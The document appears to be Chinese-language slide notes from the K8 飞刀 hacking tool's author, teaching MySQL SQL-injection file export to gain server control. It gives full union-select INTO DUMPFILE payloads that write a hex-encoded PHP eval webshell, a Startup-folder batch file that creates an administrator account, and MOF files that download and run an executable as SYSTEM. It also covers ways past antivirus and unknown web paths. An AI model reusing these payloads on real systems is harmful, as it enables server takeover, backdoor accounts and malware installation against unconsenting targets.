K8飞刀PPT:
http://download.csdn.net/detail/qq396890445/9101843
http://pan.baidu.com/s/1sjmSbMH#path=%252FPPT
应用场景有注入点却无法爆出物理路径的情况下,满足导出文件条件,可以考虑用这种方法得到服务器权限。
实战x运营商碰到一注入点,非root权限但可读写文件...无web物理路径(无法直接拿shell)
Mysql导出文件条件1 Root权限(其实并非root不可 ,具备insert权限即可)
2 可写目录(即使是system权限,用驱动限制也没法写)
如图: 使用sqlmap注入无论是写shell还是执行命令都需要提供web物理路径,没路径怎么办?
k8bbs注入漏洞环境为例 (先从拿shell开始再到导出exe种马)
注入点: http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 1,user(),3,4,5
导出webshell(大家都懂的)
http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 1,2,3,4,unhex('3C3F70687020406576616C28245F504F53545B27746F6D275D293B3F3E') into dumpfile 'C:/AAWServer/www/php/k82.php';
导出后的webshell内容可以看出导出后的内容是这样的 一句话前面有1234,是webshell还好.如果是导出二进制文件那将如何? 比如导出cmd.exe 文件肯定是废了当然还有一种情况也会导致shell无法运行,字段中出现php结束代码等怎么办? 所以我们要想办法改进,最好能保证导出原本的webshell内容
网传改成0x00可解决 实际结果如下 改成null也是一样webshell能保证正常运行了,但exe或bat等可执行文件就
导出任意文件
按照开头说的原理 分段再合成,即可完美解决
改进一下payload 发现成功导出我们指定内容
到这里我们已经完美解决注入点导出任意文件
http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 0x3C3F,0x7068,0x7020,0x4065,unhex('76616C28245F504F53545B27746F6D275D293B3F3E') into dumpfile 'C:/AAWServer/www/php/k82.php';
导出bat文件到启动项bat下载者或任意操作,有杀软的话是会报警的...
这也是此法的缺陷之一
http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 0x6E,0x65,0x74,0x20,0x75736572206B387465616D204B387465616D353230202F6164640D0A6E6574206C6F63616C67726F75702061646D696E6973747261746F7273206B387465616D202F616464 into dumpfile 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/k8.bat';
Mysql注入点种马的几种方法 1 导出hta vbs bat exe等到启动项或开机会加载脚本的地方
此方法需要目标机器重启...若无法让管理员重启将无效
服务器上存在杀软的话,导出可执行文件估计直接拦截
2 计划任务(实战测试本地配的脚本丢到目标机完全无效)
3 UDF提权 (有条件执行create等函数才能执行命令)
有时候注入点长度限制也不定能把整个udf导过去
4
MOF提权(完美解决以上3种方法的缺陷,
直接种马)
MOF提权 1 网上的mof提权里面是通过JS来执行命令的 缺陷添加用户提权还不能在一个脚本里完成
研究了下也没能解决此问题...发现echo等也没输出结果到指定目录...执行命令没法回显
2 实战碰到一个inject就是这情况,需要解决通过mof执行命令来获取目标信息...
于是想到js文件读写...这个确实可行,但是无法同一脚本里执行多命令 真是蛋疼
3 百度也还只是那份添加用户的脚本 在快失望的时候,突然机制的想到了vbs
想起MS14065那个IE神洞时我们已经调好了VBS FTP下载者 还有HTTP下载者
没错mof里调用vbs,解决了好几个问题...执行多条命令,可直接注入点种马了
快速生成导出任意文件payload
由于不同的注入点 字段数不确定,需要转换的文件内容也不一样
通过注入点导出不同的文件,都得拆分hex内容,麻烦而且容易出错
同时也为了提高工作效率...飞刀添加了一键拆分文件HEX内容功能
实例教程(对应图片 下一页)
注入点: http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 1,user(),3,4,5
导shell payload http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 0x3C3F,0x7068,0x7020,0x4065,unhex('76616C28245F504F53545B27746F6D275D293B3F3E') into dumpfile 'C:/AAWServer/www/php/k82.php';
把所有字段都替换成null
http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select null,null,null,null,null into dumpfile 'C:/AAWServer/www/php/k82.php';
放到飞刀里的编码解码模块,然后右键选中payload内容---编码转换---File/文件--Mysql inject Output选项弹出文件选择对话框(选择你要导出的文件)---确定,即可自动为用户生成导出对应文件的padyload代码.
选择飞刀--Mysql提权目录里的downexec.mof文件,修改里面的exe地址---点打开
转换后的payload如下,执行这段代码将会在目标机器上导出我们的mof下载者
MOF脚本没问题的话,就会出现在C:\WINDOWS\system32\wbem\mof\good目录
有问题的MOF脚本就会被移动到C:\WINDOWS\system32\wbem\mof\bad目录
大概20秒左右C:\WINDOWS\Temp里也会出现我们指定的exe..
测试环境Win2003 马上线是SYSTEM权限 没做system切换到用户的远控 屏幕控制将是全黑的
部分cmd功能也将会因为system权限而受到影响,并非最大权限就能做任何事...
比如一个公司权限分配严格...经理只负责管理...财物由下面的人来做...某些密码也由下面人来管理
你控制了经理并不能直接做任何事...你还需要降权...或者说给下面人下达指令去做那些事情 ....
详情:请看K8博客发布的玩转Windows权限系统教程...有提供system切换admin运行的工具